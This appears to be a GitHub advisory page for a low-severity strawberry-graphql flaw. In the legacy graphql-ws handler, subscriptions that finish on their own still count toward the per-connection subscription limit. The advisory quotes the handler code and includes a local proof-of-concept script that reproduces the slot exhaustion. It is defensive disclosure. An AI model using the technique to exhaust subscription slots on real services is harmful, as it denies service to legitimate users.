GitHub Advisoryadvisory · PyPI

GHSA-m952-2w3f-6r8h Strawberry legacy graphql-ws retains naturally completed subscription slots

LOW Published 2026-10-09 Modified 2026-10-09 Official page ↗
Aliases
CVE-2026-107727
Ecosystem
PyPI
Packages
strawberry-graphql
Severity
Low
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Weaknesses
CWE-400
Reviewed
2026-10-09

Affected packages

• PyPI strawberry-graphql: >= 0.312.3, < 0.327.2 → fixed in 0.327.2

Description

Summary Strawberry's legacy `graphql-ws` subscription handler can retain task and subscription bookkeeping after a one-shot subscription has naturally sent its `complete` message. When the application configures `max_subscriptions_per_connection`, the handler counts those completed operations in `len(self.tasks)`. A client that uses distinct operation IDs can therefore reach the configured subscription limit even though the earlier subscriptions have already completed, causing subsequent legitimate subscriptions on the same persistent WebSocket connection to receive `Subscription limit reached`. This is a conditional connection-level availability and resource-accounting issue. It requires explicit use of the legacy `graphql-ws` protocol, a persistent WebSocket connection, one-shot subscriptions that naturally complete, and a configured `max_subscriptions_per_connection` limit. It is not an unconditional issue in a default Strawberry installation and is distinct from the previously fixed single-connection infinite-subscription issue. Details The audited snapshot is Strawberry `0.324.4`, commit `c3caabd1188acda62045e7fd9ba9e37ac430cf96`. The relevant implementation is in `[strawberry/subscriptions/protocols/graphql_ws/handlers.py`](https://github.com/strawberry-graphql/strawberry/blob/c3caabd1188acda62045e7fd9ba9e37ac430cf96/strawberry/subscriptions/protocols/graphql_ws/handlers.py), particularly the operation-start, result-handling, and cleanup paths. When a new operation is started, the handler rejects it once the task count reaches the configured limit: ```python if ( self.max_subscriptions_per_connection is not None and len(self.tasks) >= self.max_subscriptions_per_connection ): await self.send_message( ErrorMessage( type="error", id=operation_id, payload={"message": "Subscription limit reached"}, ) ) return ``` The operation task is stored in `self.tasks`, and its result source is stored in `self.subscriptions`. On normal exhaustion of the result source, `handle_async_results()` sends a completion message: ```python async for result in result_source: await self.send_data_message(result, operation_id) await self.send_message( CompleteMessage(type="complete", id=operation_id) ) ``` The natural completion path does not call `cleanup_operation()` before returning. The deletion of the stored operation state is implemented separately: ```python async def cleanup_operation(self, operation_id: str) -> None: if operation_id in self.subscriptions: await self.subscriptions[operation_id].aclose() del self.subscriptions[operation_id] self.tasks[operation_id].cancel() await self.tasks[operation_id] del self.tasks[operation_id] ``` Consequently, after a one-shot operation has sent `complete`, its task entry can remain in `self.tasks` until the client explicitly stops the operation, reuses the same operation ID, or the connection is cleaned up. New operation IDs are compared against the retained task count and can be rejected. The connection-slot impact requires both parts of the behavior: 1. the natural-completion path leaves the completed operation accounted for; and 2. the legacy handler has `max_subscriptions_per_connection` enabled. PoC The following reproduction is local-only and bounded. It uses an in-memory Channels WebSocket fixture, one connection, three one-shot subscriptions, and the legacy `graphql-ws` subprotocol. It does not connect to a public endpoint or start a network service. 1. Environment installation Create an isolated virtual environment and install the official Channels integration extra together with the local ASGI test dependency: ```bash python -m pip install "strawberry-graphql[channels]==0.324.4" daphne ``` For a different tested release, replace `0.324.4` and record the actual installed version. The test uses an in-memory Channels communicator and does not connect to a real server. Record the actual versions before testing: ```bash python -c "import sys, importlib.metadata as m; print(sys.version); print('strawberry-graphql:', m.version('strawberry-graphql')); print('channels:', m.version('channels')); print('Django:', m.version('Django')); print('asgiref:', m.version('asgiref'))" ``` 2. Save the bounded test Save the following as `poc.py`: ```python import asyncio from django.conf import settings if not settings.configured: settings.configure( SECRET_KEY="local-validation-only", CHANNEL_LAYERS={ "default": { "BACKEND": "channels.layers.InMemoryChannelLayer", } }, ) import strawberry from channels.testing import WebsocketCommunicator from strawberry.channels.handlers.ws_handler import GraphQLWSConsumer from strawberry.schema import Schema from strawberry.subscriptions import GRAPHQL_WS_PROTOCOL @strawberry.type class Query: @strawberry.field def ping(self) -> str: return "pong" @strawberry.type class Subscription: @strawberry.subscription async def one_shot(self) -> str: yield "marker" schema = Schema(query=Query, subscription=Subscription) application = GraphQLWSConsumer.as_asgi( schema=schema, subscription_protocols=(GRAPHQL_WS_PROTOCOL,), max_subscriptions_per_connection=2, ) async def receive_until_complete(communicator, operation_id): messages = [] for _ in range(3): message = await asyncio.wait_for( communicator.receive_json_from(), timeout=2 ) messages.append(message) if ( message.get("type") == "complete" and message.get("id") == operation_id ): return messages raise AssertionError( f"no complete message for {operation_id}: {messages}" ) async def main() -> None: communicator = WebsocketCommunicator( application, "/graphql", subprotocols=[GRAPHQL_WS_PROTOCOL], ) connected, accepted_protocol = await communicator.connect() assert connected assert accepted_protocol == GRAPHQL_WS_PROTOCOL try: await communicator.send_json_to({"type": "connection_init"}) ack = await communicator.receive_json_from() assert ack["type"] == "connection_ack" query = "subscription { oneShot }" await communicator.send_json_to( { "type": "start", "id": "one", "payload": {"query": query}, } ) first_messages = await receive_until_complete( communicator, "one" ) await communicator.send_json_to( { "type": "start", "id": "two", "payload": {"query": query}, } ) second_messages = await receive_until_complete( communicator, "two" ) # Allow completed handler tasks to finish their sends before the # third operation is started. await asyncio.sleep(0) await communicator.send_json_to( { "type": "start", "id": "three", "payload": {"query": query}, } ) third_message = await asyncio.wait_for( communicator.receive_json_from(), timeout=2 ) print( { "first": first_messages, "second": second_messages, "third": third_message, } ) finally: await communicator.disconnect() asyncio.run(main()) ``` 3. Run ```bash python poc.py ``` 4. Expected results A fixed implementation should send `data` and `complete` for both `one` and `two`, then permit `three` to start and complete. The behavior is: ```t…

Related

Alias · CVE (1)

  • CVE-2026-107727 Strawberry GraphQL is a library for creating GraphQL APIs. vulnerability

Weakness · CWE (1)

  • CWE-400 Uncontrolled Resource Consumption weakness

References